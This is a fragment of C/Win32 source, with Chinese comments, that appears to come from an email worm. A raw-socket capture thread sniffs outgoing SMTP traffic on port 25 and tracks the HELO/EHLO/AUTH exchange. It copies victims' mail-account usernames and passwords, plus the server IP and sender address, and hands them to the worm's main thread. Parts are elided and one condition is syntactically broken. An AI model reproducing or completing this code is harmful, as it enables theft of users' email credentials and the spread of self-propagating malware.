DWORD WINAPI CaptureThread ( LPVOID p )
{
WSAIoctl(CaptureSocket, SIO_RCVALL, &lpvBuffer, … , NULL); //设置为捕获所有报文
while( TRUE )
{
memset( buf , 0 , sizeof(buf) ) ;
iRet = recv( CaptureSocket , buf , sizeof( buf ) , 0 ) ;
pIpHeader = (IPHEADER *)buf ;
if(IsExistIP(pIpHeader->destIP) pIpHeader->dPort!=::htons(25)) //不是蠕虫自身所发
continue;
if((pIpHeader->th_flag & SYN) == SYN) //是和服务器开始握手吗?
{
bNewUser = TRUE; //又有新用户发信了,开始记录
iStatus=0;
dwFailCount=0;
}
if(bNewUser==FALSE)
continue;
pBuf= (char *)buf + sizeof(IPHEADER)+sizeof(TCPHEADER);
switch(iStatus)
{
case 0: //握手状态
{
m_pSmtpServInfo = new SMTPSERVINFO;
m_pSmtpServInfo->dwCredit=3;//初始可信度为3
m_pSmtpServInfo->dwServerIP.S_un.S_addr =pIpHeader->destIP; //获得了ip
iStatus++;
break;
}
case 1:
{
if(::strstr(pBuf,"HELO")) //匿名smtp server
{
m_pSmtpServInfo->bAuth=FALSE;
m_pSmtpServInfo->szUserName[0]=NULL;
m_pSmtpServInfo->szPassWord[0]=NULL;
iStatus=5; //2(user),3(pass)跳过了
}
if(::strstr(pBuf,"EHLO")) //服务器需要认证
{
m_pSmtpServInfo->bAuth=TRUE;
iStatus=2; //准备捕捉用户名和密码
}
break;
}
case 2: //开始收藏帐户和密码
{
if(::strstr(pBuf,"AUTH"))
iStatus=3;
break;
}
case 3:
{
lstrcpyn(m_pSmtpServInfo->szUserName,pBuf,::strstr(pBuf,"\r\n")-pBuf+1);
iStatus=4;
break;
}
case 4:
{ ::lstrcpyn(m_pSmtpServInfo->szPassWord,pBuf,::strstr(pBuf,"\r\n")-pBuf+1); iStatus=5;
break;
}
case 5:
{
…
::lstrcpyn(m_pSmtpServInfo->szMailFrom,…);
PostThreadMessage(::gMainThread,…, m_pSmtpServInfo); //通知主线程
bNewUser=FALSE; //不必再捕捉25包了,除非有新的握手信息
iStatus=0; //恢复为初始状态。
… |